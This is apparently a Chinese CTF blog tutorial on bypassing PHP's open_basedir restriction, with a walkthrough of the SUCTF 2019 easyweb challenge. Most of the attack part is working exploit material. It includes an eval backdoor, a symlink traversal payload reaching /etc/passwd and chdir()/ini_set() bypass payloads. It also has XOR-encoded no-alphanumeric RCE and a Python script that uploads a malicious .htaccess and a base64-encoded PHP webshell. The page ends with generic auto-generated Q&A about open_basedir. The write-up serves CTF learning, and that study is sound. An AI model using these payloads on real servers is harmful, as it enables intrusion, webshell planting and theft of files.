Bypass open_basedir的方法


open_basedir概念

open_basedir是php.ini的设置

在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容

打个比方

如果我们设置 open_basedir=/var/www/html
 
那我们只能访问
/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php
 
不能访问
/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)
 
所以open_basedir并不是以目录名为规定,而是路径

本地测试一下,这里我设置的路径
在这里插入图片描述我们在该路径下创建test.php,随便写入代码
发现成功访问
在这里插入图片描述而访问其他路径文件时则不行
在这里插入图片描述

绕过方法

命令执行绕过

我们在/WWW目录下创建flag文件
然后在修改刚刚的test.php

<?php
if(isset($_POST['c'])){
    $c= $_POST['c'];
    eval($c);
}else{
    highlight_file(__FILE__);
}
?>

然后POST传参命令执行读取,发现成功绕过
在这里插入图片描述但一般情况下是存在过滤的

symlink 绕过 (软连接)

symlink() 函数创建一个从指定名称连接的现存目标文件开始的符号连接。

适用版本:PHP 4, PHP 5, PHP 7
语法

symlink(target,link)

payload如下

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","a");
symlink("a/../../../../etc/passwd","exp");
unlink("a");
mkdir("a");
?>

在linux运行脚本后得到exp的符号链接

原理:创建一个链接文件a,用相对路径指向A/B/C/D,再创建一个链接文件exp指向a/../../../../etc/passwd。其实指向的就是A/B/C/D/../../../../etc/passwd,其实就是/etc/passwd。这时候删除a,再创建一个a目录,但exp还是指向a/../../../etc/passwd,所以就成功跨到/etc/passwd了。

payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。

利用chdir()与ini_set()组合绕过

测试代码如下

<?php
show_source(__FILE__);
echo 'open_basedir: '.ini_get('open_basedir').'</br>';
eval($_POST['c']);
echo '</br>';
echo 'open_basedir: '.ini_get('open_basedir');
?> 

payload

c=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');

成功实现切换到根目录
在这里插入图片描述
然后我们再读取文件即可
完整payload如下

c=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('flag');

例题 [suctf 2019]easyweb

考点:利用chdir()与ini_set()组合绕过

源码如下

 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

题目是给了我们get_the_flag()函数的,对文件上传进行检测。检测文件名是否包含ph以及文件内容是否包含<?,检测文件头,然后回显上传路径;然后给了参数命令执行,其中限制长度和无字母数字RCE

我们先测试下可用字符

<?php
$arr = [];
for($i = 0;$i < 255;$i++){
    $string = chr($i);
    if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $string)){
        $arr[$i] = $string;
    }
}
print_r($arr);

在这里插入图片描述发现可以异或绕过,但是考虑限制长度,我们构造如下

?_=$_GET{b}();&b=phpinfo

然后将被过滤的字符进行异或%ff

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

在这里插入图片描述那么我们尝试调用题目给的函数,利用.htaccess配置文件攻击进行python文件上传
脚本如下

import requests
import base64

url = "http://node4.anna.nssctf.cn:28331/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"

htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .aa
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aa"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")


file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)

file2 = {'file':('shell.aa',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)

首先是.htaccess配置文件攻击,然后php_value auto_append_file指定在每个 PHP 脚本执行完毕后自动追加的文件,用php伪协议去读取我们编码过的马,其中木马添加00是为了满足解码字节倍数,然后就是文件头绕过

访问命令执行成功
在这里插入图片描述
尝试查看根目录发现不行,原来是有限制
在这里插入图片描述
payload

1=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

得到flag
在这里插入图片描述

  • 18
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: open_basedir是一个PHP配置选项,用于限制PHP脚本可以访问的文件路径。它可以防止PHP脚本访问系统中的敏感文件或目录,从而提高服务器的安全性。当开启open_basedir时,PHP脚本只能访问指定的目录,而不能访问其他目录。这个选项通常在共享主机环境中使用,以确保不同用户之间的文件不会相互干扰。 ### 回答2: open_basedir是一个PHP的安全机制,它可以限制PHP脚本的文件系统访问权限,从而降低恶意代码的风险。open_basedir要求PHP脚本只能访问指定的目录,如果脚本试图访问其他目录,就会被禁止。这个机制的设计初衷是为了防止web应用程序被黑客攻击后可以访问系统中的所有文件和目录。 open_basedir是通过在PHP配置文件或虚拟主机的.htaccess文件中指定的,它接受一个或多个目录的路径作为参数,这些目录就是PHP脚本所允许访问的目录。如果脚本需要访问其他目录,就会被服务器拒绝,PHP会返回一个致命错误,脚本的执行会被中止。因此,open_basedir可以有效地限制PHP代码的执行范围,保护本地系统的安全。 虽然open_basedir有很多好处,但有些PHP应用程序在配置open_basedir时可能会出现问题。例如,一些框架和组件需要访问多个目录,如果open_basedir的设置较为严格,这些组件就无法正常工作。此外,open_basedir并不是一个绝对的安全机制,黑客仍然可以通过其他方式访问敏感文件和目录,因此使用open_basedir并不是安全保障的最佳选择。 总的来说,open_basedir是一个对PHP脚本进行文件系统访问限制的机制,可以帮助防范一些恶意代码的攻击,但不是一个绝对安全的机制,需要根据具体应用程序的情况进行合理使用。 ### 回答3: open_basedir是PHP的一个安全特性之一,用于限制PHP脚本的文件系统访问权限,从而减少被黑客攻击的风险。简单来说,设置open_basedir就是规定一个PHP脚本执行时所能访问的目录范围。在PHP中,一些重要的配置文件和敏感信息都需要放置在安全的目录下,open_basedir的作用就是禁止PHP脚本从不安全的目录中读取敏感信息。 当开启open_basedir时,PHP脚本只能访问规定的目录,如果脚本试图访问超出范围的目录或文件,则会被拒绝访问。这种限制能有效地避免一些常见的安全漏洞,如文件包含漏洞、文件遍历漏洞等。同时,open_basedir也可以在不同的虚拟主机或用户之间提供更好的安全隔离。 具体来说,开启open_basedir需要在php.ini文件中进行配置,可以设置目录或文件的绝对路径,多个路径之间用分号分隔。例如,设置open_basedir=/var/www/html/可以限制PHP脚本只能访问/var/www/html/目录下的内容,无法访问其他目录。需要注意的是,开启open_basedir需要谨慎配置,以免影响PHP脚本正常运行。 总之,open_basedir是PHP的一个重要安全特性,可以在一定程度上保护服务器和网站的安全。在开发和部署PHP应用程序时,应该合理配置open_basedir,避免被黑客攻击和数据泄露的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值